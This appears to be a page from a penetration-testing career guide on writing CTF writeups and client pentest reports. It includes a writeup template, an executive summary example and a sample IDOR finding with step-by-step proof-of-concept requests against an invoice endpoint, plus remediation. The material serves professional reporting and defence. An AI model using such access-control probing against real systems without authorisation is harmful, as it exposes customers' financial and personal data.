a recruiter reading a writeup sees how you think — not just that you got the flag. writeups that clearly explain discovery, exploitation, and lessons learned are more convincing than any certification badge alone. the ctf-writeups repo is the most important piece of the portfolio.
// standard writeup template
## [Machine/Lab Name] — [Platform] — [Difficulty] ### summary - target: IP / URL - key vulnerabilities: SQLi → LFI → RCE - tools used: nmap, ffuf, Burp Suite, sqlmap ### recon - nmap findings: open ports, service versions - web fingerprinting: tech stack, frameworks - directory discovery: notable finds ### exploitation #### vulnerability 1: [name] - how i found it: [observation that triggered investigation] - why it works: [explanation of the root cause] - payload used: [exact payload] - screenshot: [evidence] #### vulnerability 2: [name and so on] ### lessons learned - what i'd do differently - new technique i learned - time spent: Xh --- tags: sqli, lfi, rce, linux, medium
technical skill finds the vulnerability. reporting skill communicates it in a way that justifies your day rate, earns client trust, and gets the contract renewed. a critical RCE documented poorly is less valuable than a medium SQLi documented with precision. reporting is a written communication skill as much as a technical one. it's also mandatory for both CWES and BSCP.
a pentest report has two audiences: the executive (non-technical, needs business impact) and the developer (technical, needs reproduction steps and remediation). both are served by the same document with different sections.
the CISO or CTO reads this. no CVE IDs, no payload syntax, no jargon. business risk, number of findings by severity, the single most critical thing they need to fix immediately.
// executive summary example
During the engagement period from January 15–22, 2025, a web application penetration test was conducted against Target Corp's customer portal. A total of 9 vulnerabilities were identified: 2 Critical, 3 High, 3 Medium, and 1 Low severity. The most critical finding — a SQL injection vulnerability in the login endpoint — allows an unauthenticated attacker to access all customer records without valid credentials. Immediate remediation of the two Critical findings is recommended before the next production release. The remaining High severity findings should be addressed within 30 days.
each finding gets its own page minimum. a developer who wasn't present must be able to reproduce the vulnerability exactly by following your steps. CVSS score is mandatory — it's the industry-standard risk rating system and shows you understand risk quantification.
// complete finding template
title: Insecure Direct Object Reference — Invoice Endpoint severity: High cvss: 7.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) cwe: CWE-284: Improper Access Control description: The /api/v1/invoices/{id} endpoint does not verify that the authenticated user owns the requested invoice. Any authenticated user can access any invoice by incrementing the ID parameter. affected endpoint: GET /api/v1/invoices/{id} proof of concept: 1. Log in as any regular user account 2. Navigate to your own invoice: GET /api/v1/invoices/1001 3. Modify the ID in the request: GET /api/v1/invoices/1000 4. Observe that another user's invoice data is returned evidence: [screenshot of Burp request/response showing unauthorized access] impact: An attacker with any valid account can enumerate and read all customer invoices, exposing financial data, PII, and business details. remediation: Verify server-side that the invoice belongs to the requesting user before returning data. Do not rely on client-side controls. Reference: OWASP IDOR Prevention Cheat Sheet
< back to profile